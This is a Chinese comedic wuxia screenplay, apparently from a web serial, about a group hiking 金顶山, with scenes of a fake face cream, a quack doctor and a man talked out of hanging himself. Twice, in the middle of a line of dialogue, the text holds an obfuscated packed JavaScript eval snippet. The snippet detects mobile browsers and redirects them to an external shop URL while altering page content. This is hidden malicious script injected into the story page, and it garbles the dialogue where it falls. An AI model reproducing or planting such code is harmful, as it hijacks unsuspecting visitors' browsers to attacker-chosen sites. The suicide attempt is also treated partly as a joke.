顾云飞:(用手撑着头,半眯着眼睛,一副似睡非睡的样子)那丫头在我屋里闹腾了足足三天三夜,我若不答应她,怕是连觉都睡不成。唉! 风无行:(笑)哈哈,也就只有她能请得动你。 顾云飞:你呢?怎么没约青姑娘单独出去?跟我们凑在一块儿,算什么事呀? 风无行:青儿的性子你又不是不知道,我若约她单独出去,她肯定又会推三阻四,到最后哪儿也去不成;只有跟你们凑在一块儿,她才会勉强答应。 顾云飞:(皱眉)一点点小事也要耍心眼儿,你俩累不累呀? 风无行:唉,这么多年不都是这样过来的吗? 顾云飞:其实,你想跟她独处也不难。等去了金顶山,我们几个从西面走,你跟她从东面走,自然就分开了。 风无行:咦?奇怪!你怎么知道金顶山有两条路?难不成你早就打听过了?(眯起眼)顾堂主,这一趟金顶山之行,该不会是你刻意安排的吧? 顾云飞:风堂主!我可是在成全你的美事,你若不领情的话,咱们还是一道儿走吧! 风无行:呵呵,怎么不领情?就按你说的办! 第二辆马车上,坐着洛青和洛宁。 洛宁:姐,甜妞儿怎么没来? 洛青:她说要留在家里陪黄毅。 洛宁:来来回回不过才三五天的工夫,竟然这般舍不得,照这样下去,咱们家没准儿今年就能办喜事呢! 洛青:希望如此!不过在此之前,有些事情还是有必要先弄个明白。 洛宁:什么事情? 洛青:黄毅的家里到底什么情况、他的爹娘是否容易相处、是否能接受甜妞儿这样的儿媳妇,如此等等。 洛宁:(拍拍胸脯)这个你放心,包在我身上了!嘻嘻! 银华和金鹏骑着马,与他们同行。 银华:金鹏!前阵子你不是说想跟你哥学做烤肉吗?怎么样?学会了吗?要不要露一手呀? 金鹏:唉,别提了,我现在连他的人影儿都见不着!早上我起来时,他已经出去了;晚上我睡觉时,他还没回来。真不知道他一天到晚在忙些什么? 银华:(笑)还能忙些什么?不就是那点儿事吗?你哥为了给你找一个嫂子,可真是拼了!哈哈! 金鹏:这次来金顶山,我原打算把他也一起带上,谁知道人家愣是说没空。不过好在我已经把方子记下来了,等去了山上,咱们一起弄着试试。 银华:好啊!一想到那些烤肉滋滋冒烟的样子,我就忍不住要流口水了!哈哈! 梁州,凤凰城 3-39 巧珠家(日,内) 人物:巧珠、余守泰 趁着假期,余守泰也约巧珠一同出去游玩。 余守泰:巧珠!我听说艳玉湖那边的景色不错,今日阳光甚好,不如咱们也去看看! 巧珠:(闷闷不乐地)不去! 余守泰:怎么了?你怎么不高兴呀?谁惹你了?你告诉我,我去揍他! 巧珠:(用指尖狠狠地戳了一下他的额头)还能是谁?不就是你这个没良心的家伙嘛! 余守泰:我? 巧珠:对呀!我问你,你上次送给我的那盒面脂,到底是真的还是假的? 余守泰:(心头一惊)什……什么真的假的?此话何意? 巧珠:哼!我那些好姐妹们,一个个用了面脂之后,小脸儿变得又白又细,嫩得可以掐出水来;唯独我,用了你送的那盒面脂之后,不仅没有变白变嫩,还比之前黑了许多,弄得我都不好意思出门了! 余守泰:(眼珠子滴溜溜一转)上次我不是跟你说过了吗?这盒面脂是那位大夫给人家欧阳姑娘特别配制的一份,跟凤仪堂里的那些东西都不一样! 巧珠:哪里不一样?总不至于一个能让人变美、而另一个却会让人变丑吧? 余守泰:你不是大夫,又怎么会明白这其中的差异?人家欧阳姑娘在给我这盒面脂的时候,特意交代过了,凤仪堂里的那些东西,确实能让人变美,但这盒面脂却是会让人先变丑再变美。 巧珠:先变丑再变美?什么意思? 余守泰:我们是人,不是神仙,吃五谷杂粮,哪有不生病的?这盒面脂的独特之处,就在于它能调理五脏六腑、打通七筋八脉,把原先在我们体内积攒了多年的各种病气、浊气、邪气、秽气全部排出来,所以才会出现先变丑的情况。 巧珠:还有这等事? 余守泰:对呀!这就好比毛毛虫变蝴蝶,毛毛虫人人都嫌,可蝴蝶人人都爱。同样的道理,当你体内的各种病气、浊气、邪气、秽气全部排出来之后,别说是脸了,整个人从头到脚、由内到外都会变得容光焕发! 巧珠:(转忧为喜)真的吗? 余守泰:这可是人家欧阳姑娘亲口说的,还能有假?你自己想想,凤仪堂里的那些东西,顶多只能让你的脸变白变嫩,但我送给你的这盒面脂,却能让你整个人变得既年轻又漂亮。哪个更好些? 巧珠:可我看人家欧阳姑娘并没有变黑变丑呀? 余守泰:人家回老家过年的时候,就已经在用这个了,体内的各种病气、浊气、邪气、秽气,早就排空了。 巧珠:嗯,也是!照你这么说,用不了多久,我不仅能变美,而且还能变得比别人更美? 余守泰:对呀!只不过每个人体内的各种病气、浊气、邪气、秽气,数量不等,有的人多些、有的人少些,但不管多与少,总有一天都能排出来。所以说,只要你耐心等待,拥有一张完美无瑕的天使面孔,那是早晚的事! 巧珠:嘻嘻,说得没错!有朝一日,当我从毛毛虫变成了蝴蝶,我的那些好姐妹们,岂不是要羡慕死了?余大哥,你对我可真好!你刚才不是说想去艳玉湖吗?咱们快走吧! 德州,金顶山 到金顶山时,天色已晚,一行人决定先在山脚下的客栈里投宿一夜,第二天早上再出发登山。 3-40 金顶山,西面(夜,外) 人物:顾云飞、洛宁、银华、金鹏 午夜的山野,一片漆黑。 金鹏打着灯笼,走在最前面;银华背着洛宁,迷迷糊糊地跟在他后面;顾云飞则慢悠悠地走在最后。 银华:老大!你是怎么进屋里把她偷出来的? 顾云飞:我点了她的穴。 银华:难怪这丫头睡得这么沉,怎么都叫不醒!不过老大,你想看日出,也没必要走得这么早吧?(说完连打几个哈欠) 顾云飞:(伸出手,将斗篷的帽檐往下拉了拉,盖住洛宁的脸)比你们平常练功早了一个时辰而已,不算早! 银华:为何只有我们几个人?风老大和青姑娘呢?你怎么没叫上他俩? 顾云飞:他俩天明之后才出发。 银华:天明之后?他俩不想看日出吗? 顾云飞:一样看得到。 银华:一样看得到?什么意思? 顾云飞:他俩从东面走,路程比我们少了一半。 银华:(吃惊)啊?你的意思是,我们绕了远路? 顾云飞:(点头)嗯。从这里到山顶,至少要走上三天。 银华:三天?那还看什么日出? 顾云飞:可以看三天后的日出嘛! 金鹏:难怪咱们走了半天,全是些弯弯曲曲的小路,我还担心是不是走错了。 顾云飞:错不了,就是这条路。 银华:老大!明明有一条捷径,你却不肯走,偏要带着我们绕远路,为何? 顾云飞:因为这条路不仅人少,而且更有趣味。 银华/金鹏:(不解)更有趣味? 顾云飞:东面的那条路,地势平坦,有一级一级的阶梯,直达山顶,沿途还有多家客栈、酒楼,吃饭住宿都很方便;但西面的这条路,不仅地势崎岖多变,而且什么都没有,路全靠自己走,食宿全靠自己解决。 金鹏:难怪临出门前,您让我把露营的东西全带上,弄了半天是想来一场户外探险呀? 银华:老大,这件事是不是你早就设计好了? 顾云飞:你俩正年轻,多磨练一下,总没坏处。 银华:你折腾我们也就罢了,怎么把她也带上了? 顾云飞:她是大夫,你俩在路上受了伤,有她在岂不是更方便? 银华:你让金鹏背着行李,又让我背着她,是不是故意的呀? 顾云飞:你要是觉得吃亏,可以跟金鹏换一下。 银华:你不打算让她下来走两步吗?她更年轻,也更需要磨练一下。 顾云飞:她不是天地会的弟子。 银华:噢,这么说,你是打算把这一路上的苦活累活都交给我和金鹏干了? 顾云飞:(两眼一瞪)你俩不干谁干?难道让我干呀? 银华:唉,明白了!以后再有什么假期,我宁可待在凤凰城里,也绝不跟你一道儿出来了! 3-41 客栈,客房(日,内) 人物:洛青、风无行 一觉醒来,洛青方才得知顾云飞他们已经连夜出发了。 洛青:这件事是你的意思还是顾云飞的意思?又或者你们俩早就商量好了? 风无行:他们不在,岂不是更好? 洛青:银华和金鹏倒没什么,只是宁儿那丫头…… 风无行:顾云飞会照顾她。 洛青:唉,她可千万别把他惹毛了。 风无行:放心吧!顾云飞那个人知道轻重,他肯定不会把她扔在半路上、自己先跑了。 洛青:那你呢?会不会把我扔在半路上、自己先跑了? 风无行:(笑着牵起她的手)只要你愿意,我会一辈子在你身边。 洛青:(脸先是一红,接着又沉了下来,飞快地缩回手)你的这些甜言蜜语,哄一哄小女孩还差不多,对我不管用!哼! 3-42 金顶山,西面(日,外) 人物:顾云飞、洛宁、银华、金鹏 天亮时,一行人停下脚步,准备早饭。 金鹏去林子里打猎,银华在生火,顾云飞解开洛宁的穴,打了一个响指,她便醒了过来。 洛宁:(望着眼前的一切,一时有些反应不过来)咦?怎么回事?我是不是在做梦? 银华:(没好气地)我宁可是在做梦。 洛宁:什么意思?这是哪儿?我怎么会在这儿? 银华:你问老大,只有他能讲得清楚。 洛宁:云飞大哥,发生了什么事?我明明记得自己在睡觉啊! 顾云飞:(竖起大拇指)你从山下一直睡到山上,若论睡功,你可以封神了。 洛宁:什么意思?难不成是你们把我带到这里来的?(环顾四周)我姐呢?无行大哥呢?他俩哪去了? 顾云飞:他俩已经被咱们远远地抛在后头了。 银华:唉,是啊!人家两个来金顶山,是为了游山玩水;咱们几个来金顶山,是为了吃苦受累。 洛宁:吃苦受累? 银华:你看看这附近,除了我们之外还有谁? 洛宁:(伸长脖子瞅了瞅)咦,好像是啊!金顶山不是有名的风景胜地吗?怎么会这般荒凉? 顾云飞:荒凉才好呢!我们来这里是为了看风景,又不是为了看人,若想看人的话,凤凰城里多得是,又何必来这里? 洛宁:到底怎么了?你俩能不能把话说明白点儿? 金鹏:(从林子里钻了出来,手里拎着两只野兔)这些够不够?不够的话,我再去抓两只。 银华:差不多吧!等火生起来,就可以烤肉了。 顾云飞:(笑着对洛宁)丫头,你不是最爱吃烤肉吗?这下可以美美地吃个够了! 银华:唉,是啊!接下来的几日,我们会天天在山上露营,你若是想家了,可别哭鼻子哟! 洛宁:(顿时来了劲儿)露营?真的吗?太好了!我跟我爹在草原上的时候,过的就是这种日子,可潇洒了! 银华:山里有野兽,你不怕吗? 洛宁:草原上还有狼呢! 银华:从这里到山顶,要走上足足三天。 洛宁:我跟我爹在草原上待了整整三个月呢! 银华:日头那么大,晒黑了怎么办? 洛宁:我姐说我的脸是死人白,晒黑了岂不是更好? 顾云飞:(笑)哈哈哈!银华,知道什么叫随遇而安吗?这就是了!哈哈哈! 3-43 金顶山,西面(日,外) 人物:顾云飞、洛宁、银华、金鹏 吃过早饭,一行人继续前行。他们一边走,一边在林间搜寻着野兽的踪迹,若看到野兔、野鸡什么的,便顺手抓上两只,露营时烤着吃。 洛宁:(从草丛里捡起一样东西) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007369|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们瞧!这是什么? 银华:(定睛一看吓一跳)蛇?!你抓它干嘛?快扔掉! 洛宁:晚上咱们用它煲汤,多好呀!(把蛇装进袋子里递给银华)你先拿着,我再去多抓两条! 银华:还要抓? 洛宁:咱们这么多人,一条哪够吃呀?除了煲汤之外,还可以烤着吃、炸着吃、蒸着吃,花样多得很呢! 银华:全蛇宴吗? 洛宁:咦,好主意!晚上咱们就吃这个! 蛇在袋子里不停地蠕动,银华皱起眉头,不安地问金鹏。 银华:金鹏,你帮我瞧瞧,这是条什么蛇? 金鹏:看它身上的花纹,像是金线蛇。 银华:(吓了一跳)金线蛇?那不是有毒吗? 金鹏:不怕!把蛇头去掉,照样能吃,酒楼里不都是这样弄的吗? 银华:你弄过吗? 金鹏:没有。 银华:(露出坏笑)那你晚上可要多吃点儿哟! 旁边的顾云飞早就笑了起来,对洛宁竖起大拇指。 顾云飞:丫头,你连毒蛇都敢抓,真是女中豪杰呀! 洛宁:(不以为然地)这算什么呀!我跟师父学解毒的时候,他老人家的屋里屋外,种满了各种各样的毒花毒草,什么蜈蚣、蝎子、蜘蛛之类,四处乱爬。我天天在那里吃住,早就习惯了! 金鹏:周围的邻居不害怕吗? 洛宁:师父住在深山老林里,哪来什么邻居呀! 银华:你的医术不是你爹教的吗?怎么还拜了师父? 洛宁:这是我娘的主意,她跟我师父是旧相识。 金鹏:隐居在深山老林里,又整日与毒物为伴,你这位师父肯定是个高人。 洛宁:若论解毒,他确实是个高人,唯独性情有点儿古怪,挺像我们中间的某个人……(斜了一眼顾云飞) 顾云飞:(照着她的头拍了一下)臭丫头,别以为我不知道你在说谁! 洛宁:(摸摸头)唉哟!云飞大哥,你不要这么小心眼儿嘛!(又嘻嘻一笑)云飞大哥,这一路上翻山越岭,你这把老骨头还撑得住吗?要不要我给你弄一碗十全大补汤喝呀? 顾云飞:(沉下脸)臭丫头!想死呀! 没等他动手,洛宁已笑着跑开了。 3-44 金顶山,西面(夜,外) 人物:顾云飞、洛宁、银华、金鹏 面对着蛇肉,金鹏迟迟不敢动筷子。银华用胳膊肘撞了他一下,笑着说。 银华:快吃吧!这可是正经的野味儿,酒楼里的东西都没它新鲜! 金鹏:会不会中毒? 银华:你眼前不就坐着一位大夫吗?有她在,中毒了也不怕! 金鹏:如果连她也中毒了呢? 洛宁:这个你别担心,姑娘我百毒不侵。 银华/金鹏:(吃惊)百毒不侵? 洛宁:我天天跟着师父学解毒,什么样的毒没见过?寻常的毒根本奈何不了我! 金鹏:这样啊,那我就可以放心地吃了。嘿嘿! 3-45 金顶山,西面(夜,外) 人物:顾云飞、洛宁、银华、金鹏 吃过晚饭,几个人坐在篝火旁,仰望着满天繁星。 顾云飞:今晚咱们如果住在客栈里,就看不到这满天繁星了。 洛宁:艾威说,天上的每一颗星星里,都藏着一个小小的世界,跟我们这个世界一样,有很多人、很多事,不断地生灭着…… 银华:此时此刻,星星上的人是不是也在看着我们呢?呵呵! 金鹏:艾威是谁? 洛宁:一个老男孩。 金鹏:老男孩?什么意思? 洛宁:意思是他的岁数,对所有人来说,都是个谜。 金鹏:他跟你很熟吗? 洛宁:他是我的家人。 银华:家人?你不是只有一个哥哥吗?怎么又冒出来一个?他是谁? 洛宁:从小到大,都是他在照顾我。 银华:噢,原来是这样。他对你怎么样?是不是也跟老大一样、对我非打即骂? 顾云飞:(给了银华一脚)臭小子,再说我活埋了你!哼!(众笑) 洛宁:他倒是不打我也不骂我,不过也对我十分严厉。只要是他教给我的东西,做对了不一定有奖励,但做错了一定会挨罚。 银华:这点跟我简直太像了!我小的时候,要是哪个招式没练好,老大上来就是一巴掌!(笑着对顾云飞)是不是呀,老大? 顾云飞:(白了他一眼)我打你不是因为你没练好,而是因为你是个笨蛋!哼!(众笑) 金鹏:我小的时候,起初也没习武,我哥见人家考取功名,心里很是羡慕,也把我送去了学堂里,谁知道我根本不是块儿读书的料,先生讲的东西,我听得一头雾水,回去问我哥,他也不明白,非说是我没认真听,接着就把我打一顿。后来我索性就不听了,趁着上学堂的工夫,跑出去找人打架,反倒在那一带有了点儿小小的名气。我哥知道后,气得不得了,骂我不学好,可不管他怎么骂,我还是那副样子。直到后来有一天,我把几个上门找茬的小混混全打跑了,他这才认了命,答应让我习武。 洛宁:你认识潘大哥吗? 金鹏:潘大哥?是不是那个逸兴马场的场主? 银华:没错,正是他。 金鹏:前阵子总会里买马,我跟老大去了一趟他的马场,见过他一面,是一个十分豁达的人。 银华:你别看他养马挺在行,小时候也跟你一样,因为读书的事挨过不少打,他爹娘以为他这辈子废了,不曾想他养马竟然养出了名堂,去年还在竞技中拔得了头筹。 金鹏:难怪他的马场名气那么大,我听老大说,连宫里的皇上都把马交给他来养呢! 洛宁:他妹妹说,他小时候也是个犟脾气,对别的事情都不感兴趣,唯独对马十分痴迷,在马场里一呆就是一整天,他爹一气之下,干脆把他赶去了马场里,他在那里跟马同吃同住,反倒觉得十分快活。 金鹏:用我哥的话来说,这就是命!呵呵! 洛宁:云飞大哥,你呢? 顾云飞:我? 洛宁:你也讲讲你小时候的趣事呗! 顾云飞:(望着满天繁星)我若说我是从星星上来的,你们信吗? 银华:星星?得了吧,老大!你若是从星星上来的,那我岂不是从月亮上来的了? 顾云飞:不信的话,那就没必要讲了!(起身招呼众人)时候不早了,回去睡觉吧! 3-46 金顶山,西面(夜,内) 人物:顾云飞、洛宁、银华、金鹏 帐篷里,洛宁挨着顾云飞躺下,悄悄对他说。 洛宁:云飞大哥,我信你! 顾云飞:是吗?那你倒是说说,我来自哪颗星星? 洛宁:(想了想)黑星星。 顾云飞:(扑哧一笑)为何这么说? 洛宁:因为你从来只穿黑色的衣裳啊! 23. 第三篇 鱼小儿的易容术 德州,金顶山 3-47 金顶山,西面(日,外) 人物:顾云飞、洛宁、银华、金鹏、钱广进 第二天,一行人收拾好行囊,又继续前行。他们一边走、一边说笑,不知不觉来到了一处山坡上,见满山遍野的花,兴奋不已,在花丛中奔跑、打滚、跳跃、嬉戏。正开心时,从坡上的大树后面,出来一个人,冲着他们大吼。 钱广进:你们这些家伙,有完没完?你们只顾着自己开心,有没有想过这世上还有很多人不开心?真是太自私了!哼! 见到此人,众人也吓了一跳。 洛宁:银华,你不是说这个地方除了我们之外、再没别人了吗? 银华:老大,这个人该不会也是你事先安排好的吧? 顾云飞:(没好气地)他连我也一起骂了,你觉得呢? 银华:唉,这个人的脑子是不是有病呀?我们玩我们的,关他什么事呀?他要是见不得我们开心,大可以走远点儿嘛! 洛宁伸长脖子望了望,见那个人又回到大树旁坐下,不停地用袖子擦着脸。 洛宁:咦?他好像在哭呢! 银华:哭?不用说,肯定是有病了!走吧走吧,离这种人远点儿,免得沾上了晦气! 一行人绕过大树,正打算继续往前走,却意外地发现树上还挂着一根长长的裤腰带。 洛宁:呀!他该不会想寻死吧? 银华:(开玩笑)没准儿是想在这里荡秋千呢! 顾云飞:在这种前不着村、后不着店的荒山野岭,能遇上他,也算是天意。走!过去看看他想干什么。 一行人来到树下。 银华:这位大哥,你在这里干什么呢? 钱广进:(气呼呼地)干什么?你自己不会用眼睛看吗? 银华:(打量了一眼裤腰带)你该不会想寻死吧? 钱广进:不行吗?你们都别拦着我,让我死了算了!哼! 银华:谁说要拦着你呀!我想说的是,你这么胖,用一根裤腰带上吊的话,怕是不顶用。 金鹏:(悄悄地问银华)银华!咱们来这里,到底是为了救他还是为了害他呀? 银华:(故意大声地)咱们跟他非亲非故,为何要救他呀?(对着钱广进)这位大哥,看在你一心求死的份上,我可以把我这根裤腰带借给你用用,保你一次就能死成! 钱广进:你你你、你这个家伙,太没同情心了!哼! 银华:男子汉大丈夫,有什么过不去的坎呀?你若死在了这里,你的家人连你的尸骨都找不到,谁替你收尸呀? 钱广进:我就是不想拖累我的家人,所以才会来这里! 银华:那你倒是说说,为何? 钱广进:告诉你也无妨,大夫说我得了绝症,活不了几天了!呜呜! 洛宁:原来是这样。既然早晚会有一死,又何必寻死呢? 钱广进:大夫说,我这个病,到死的时候会非常痛苦,五脏六腑都会化成血水流出来,不仅自己饱受煎熬,旁人见了也会生厌,我不想遭他们嫌弃,所以还不如一死了之。 洛宁:这么严重呀?可我看你的脸色,不像是一个将死之人呀? 钱广进:你一个小丫头,懂什么呀! 银华:她也是个大夫。 钱广进:(不屑地瞅了洛宁一眼)是又怎样?她才多大岁数?给我看病的这位大夫,可是个名副其实的神医!不管什么样的病人,只要他说能活,就一定能活;他说救不了,那就一定会死! 银华:这是神医吗?怎么听上去像个神棍呢? 钱广进:甭管是神医还是神棍,不都是在拿人的生死说事儿吗? 银华:嗯,也是!你身上什么毛病? 钱广进:倒也没什么毛病,就是这阵子有点儿不思饮食,我原本想请他给我开两副药吃,谁知道他一号脉,就说我得了绝症。呜呜! 洛宁:除了他之外,你还找别的大夫看过没? 钱广进:用不着!别的大夫的医术,哪能跟他比呀?我们镇上所有的人,不管男女老少,都只找他一个人看病。 洛宁:如果误诊了,怎么办? 钱广进:不会!他给人治病这么多年,从来没出过错。我们镇上有些人,对他的医术不放心,又去找别的大夫,结果不但没医好、反倒加重了,最后还是得回来找他。 洛宁:果然很神呀! 钱广进:对呀!所以那天他说我得了绝症的时候,我当场就吓晕了过去。我钱广进这辈子没做过什么对不起别人的坏事,老天爷为何要这样对我呀?呜呜! 洛宁:(见他哭得悲切,于心不忍)要不让我来给你瞧瞧?(向他伸出手,却被他一下挡开) 钱广进:去去去!你一个小丫头,瞎掺和什么呀? 银华:喂,你这个家伙怎么不识好歹呀? 钱广进:我已经下定决心要死了,你们就不能让我死个痛快吗?赶紧走吧,别在这里碍事儿! 银华:那你倒是动手呀!像个女人一样哭哭啼啼,算什么事呀? 钱广进:我……我……(赌气地)哼!动手就动手!(拿起裤腰带,这就要往脖子上套,见众人都瞅着他)你们……你们能不能背过脸去呀? 银华:背过脸去?为何? 钱广进:你们这么多人盯着我,我心里不自在呀! 银华:你闭上眼睛不就行了! 钱广进:我…… 银华:(不耐烦地催促)喂,你能不能快点儿?我们还等着赶路呢! 钱广进:我上吊自杀,关你们什么事呀? 银华:我们看我们的,关你什么事呀? 钱广进:你们……你们太欺负人了!呜呜!(扔掉手里的裤腰带,又哭了起来) 银华:唉,我就知道你死不成! 钱广进:其实……其实我一点儿也不想死!呜呜!我的头发还没有白,这辈子还没活够呢!呜呜! 洛宁:那就更要再找一个大夫,仔细地瞧一瞧了。 银华:是啊!没准儿还有一线希望呢? 听了这话,钱广进有些心动,见他这样,洛宁又继续劝说。 洛宁:你若不信我,大可以去找别的大夫。生死事大,还是谨慎些为妙。 银华:是啊!如果别的大夫的说法,也跟那个神医一样,你再来这里寻死也不迟呀! 钱广进:那……也行!这位姑娘,要不你给我瞧瞧吧! 洛宁:我若说你没病,你信吗? 钱广进:这…… 见他尚有些犹豫,洛宁轻轻一笑,伸手去给他把脉,一边跟他聊起了家常。 洛宁:这位大哥,我听说这附近有一个名叫弱水的小镇,你是否住在那里? 钱广进:是啊,我就是那个镇上的人。 洛宁:在你们镇上,除了那个神医之外,还有没有别的大夫? 钱广进:过去倒是有两个,不过因为大家都只找神医瞧病,那两个大夫成天没事干,不得已改了行。 洛宁:那个神医怎么样?他的为人如何? 钱广进:(竖起大拇指,一脸的敬佩)德高望重!我们镇上的每一个人都对他十分尊重。 洛宁:他跟你的关系如何? 钱广进:关系? 洛宁:嗯。你们俩之间有没有闹过什么矛盾? 钱广进:矛盾?不可能!我这个人在我们镇上,是出了名的老好人,不管是谁,都跟我相处甚好。 洛宁:真的吗? 钱广进:当然了!我钱广进这辈子不管遇到什么事情,都是能忍则忍、能让则让,从不曾与人红过脸。 洛宁:可你刚才对我们却是很凶哦! 钱广进:(脸红了,不好意思地)我刚才心情不太好,得罪了各位,望各位见谅! 银华:(问洛宁)怎么样?他到底什么毛病? 洛宁:别着急,我还没问完呢!(又问钱广进)钱大哥,你一顿饭能吃多少东西? 钱广进:我?呵呵,不怕姑娘你笑话,我从小到大都特别能吃,每顿十个馒头、十个鸡蛋,根本不在话下。 银华:(吓了一跳)十个馒头、十个鸡蛋?你这一顿的饭量,比我们几个人一天的饭量还要大,难怪你这么胖!我要是像你这样吃,我也茶饭不思! 钱广进:我顿顿都是这么吃的,也没觉得有什么毛病。只不过发病的那几日,又多吃了两碗疙瘩汤。咦!姑娘,你该不会是想说我吃撑了吧? 银华:(没好气地)可不就是吃撑了嘛!我见过很多像你这样的人,都是管不住自己的嘴、又迈不开自己的腿。 钱广进:呵呵,我这个人平日里确实有点儿懒。不过神医那天给我瞧病的时候,并没有说这些呀! 洛宁:他说了些什么? 钱广进:他问了我一些过年的事。 洛宁:过年的事? 钱广进:嗯。他问我去了哪里、跟哪些人在一起、干了些什么。 洛宁:他为何问这些? 钱广进:我也不明白。按理说,这些事情跟他有什么关系呢?(突然醒悟过来)咦!他问这些,该不会是想提醒我、要给他送红包吧? 洛宁:送红包? 钱广进:在我们镇上,有一个老规矩,只要找神医瞧过病的人,不管男女老少,逢年过节的时候,都要给神医送上一个红包,聊表谢意。 银华:还有这等事?谁定的规矩? 钱广进:没有谁,只不过大家这么多年来都是这么做的,也是为了讨个吉利,相当于花钱买命。 银华:那要是不送呢? 钱广进:不送的话,阎王爷就要来收人了!(突然醒悟过来)呀!该不会是因为我出门走亲戚、忘了给他送红包,所以他才会说我得了绝症吧? 洛宁:(笑着点点头)呵呵,找到病根儿了! 钱广进:不……不可能吧?我以往年年都给他送,只是今年少送了一回而已。他一个赫赫有名的神医,平日里诊金也没少收,怎么会为了这么一点儿蝇头小利,就妄说人的生死呀? 洛宁:你们送礼送惯了,他也收礼收惯了,虽然只少了一份,可终归还是少了。 钱广进:那……那我到底是有病还是没病呀? 洛宁:有啊!只不过你这个病吃药不管用,除非把红包给他补上,方才能够痊愈。 银华:哈哈,听见没?快去吧!有了红包,还怕不能逢凶化吉、长命百岁吗? 钱广进:真……真的假的?姑娘,你该不会是为了宽慰我、故意这么说的吧? 洛宁:你且回去把红包补上,再听听那个神医怎么说,自然就明白个中的真假了。 钱广进:那……那行!我这就回去找他!哼!(匆匆走了) 金鹏:宁儿!如今他不在这里,你跟我们说句实话,他到底有没有病呀? 银华:是啊!你刚才的那番话,是不是在骗他呀? 洛宁:你俩若是好奇,跟过去看看不就知道了! 银华:嗯,也行!金鹏,走!咱俩去瞧瞧! 银华和金鹏离开后,顾云飞在树下摆上茶具,与洛宁席地而坐,一边饮茶、一边欣赏着山间的美景。洛宁摘来几朵小野花,把柱头放在顾云飞的茶碗里蘸了蘸。 顾云飞:(不悦地皱起眉头)你这个家伙,又在捣乱! 洛宁:这上头有花蜜,很甜哟!尝尝吧! 顾云飞皱着眉头抿了一小口,茶味中带着花香,与眼前的春光正好相应。 洛宁:怎么样?味道不错吧?我在草原上的时候,也经常这么做,又好喝又好玩。 她的脸上挂着孩童般的笑容,他躺在草地上,用手撑着头,痴痴地望着她。 顾云飞:丫头,你究竟多大岁数? 洛宁:去年十六,今年当然十七了! 顾云飞:可我看你像是有上百岁了。 洛宁:哦,是吗?那你呢?岂不是有上千岁了?哈哈哈!(笑得更灿烂了) 3-48 金顶山,西面(夜,外) 人物:顾云飞、洛宁、银华、金鹏 天快黑时,银华和金鹏方才回来,众人在树下升起一堆篝火,听他俩讲述在小镇上的见闻。 银华:呵呵,你果然猜得没错!当钱大哥把红包给那个神医补上之后,他立马就改口了。 洛宁:他承认自己误诊了? 银华:他的名气那么大,怎么可能承认自己误诊?只不过换了一种说法而已。 洛宁:他怎么说? 银华:他说钱大哥的病,虽然是绝症,在别的大夫手里肯定无药可救,但在他的手里,却是可以治愈的。 洛宁:啧啧,果然是个神医,医得好、医不好,全凭一张嘴!钱大哥呢?什么反应? 金鹏:他起初还强忍着,直到看见神医给他开的方子里,全是些消积化食的药,便再也坐不住了,指着神医的鼻子,狠狠地骂了一通,还说以后就算是病死、也再不会给他送礼了。 洛宁:他不是个老好人吗?怎么也会骂人了? 银华:兔子急了还咬人呢!再老实的人,也不能任人欺负呀!哈哈! 3-49 金顶山,西面(日、外) 人物:顾云飞、洛宁、银华、金鹏 第三天,众人走着走着,来到了一处悬崖边。 银华:老大,前面没路了! 顾云飞:(指着悬崖下面的一条河)谁说没有路,那不就是路吗? 银华:水路? 顾云飞:嗯。我们从悬崖上下去,沿着这条河一路往东,再翻过一座山头,差不多就该到了! 洛宁:这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007370|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么快就要到了,我还没玩够呢! 顾云飞:(捏了下她的鼻头)你呀你,真是个野丫头! 银华和金鹏取来绳索,顾云飞命令他俩先下去,又对洛宁说。 顾云飞:丫头,把眼睛闭上! 洛宁乖乖地闭上眼睛,她觉得自己像是被一阵风卷起,升到了半空中,跟着急速地往下坠,就在她想要大叫时,却听他道。 顾云飞:好了,睁开眼睛吧! 洛宁:(睁开眼睛,发现已经到了崖底)天哪,这么快!云飞大哥,你是怎么做到的? 顾云飞:怎么做到的?当然是直接跳下来了! 洛宁:直接跳下来?!(结结巴巴)你你你……你怎么不早说?你自己不要命也就罢了,为何还要带上我呀? 顾云飞:(笑着摸摸她的头)因为你是我的锦鲤嘛!哈哈哈! 听见他的笑声,银华和金鹏也忍不住回头一看。 银华:(惊呼)天哪!老大,你是什么时候下去的?我怎么没看见你? 金鹏:是啊!我俩才走到一半,他俩就已经到了,这未免也太快了吧? 顾云飞:所以我说年轻人要多磨练嘛!哈哈哈! 3-50 金顶山,西面(日,外) 人物:顾云飞、洛宁、银华、金鹏 银华和金鹏到了崖底,顾云飞又命令他俩砍些树枝、扎个木筏子。 木筏子扎好之后,银华正打算再做两只桨,却被顾云飞拦住。 顾云飞:喂喂喂,你干嘛呢? 银华:做两只桨,怎么了? 顾云飞:用不着!不是还有你俩吗? 顾云飞用绳子把银华、金鹏跟木筏子拴在了一起,让他俩在前面奋力划水,自己则带着洛宁,坐在木筏子上,惬意地晒着太阳。 顾云飞:你俩游快点儿,晚了可就看不到日出了。 银华:老大!这条河这么长,我们要一直游下去吗? 顾云飞:看见前面那座紫色的山头没?你俩游到那里就行了! 银华:那座山那么远,等游到那里,岂不是天都要黑了? 顾云飞:对呀!咱们正好可以趁着天黑登山,就能看到明天早上的日出了。 银华:游完之后还要登山?老大,你是不是想累死我们呀? 顾云飞:人家金鹏都没说累,你叫唤什么?(两眼一瞪)还不快游! 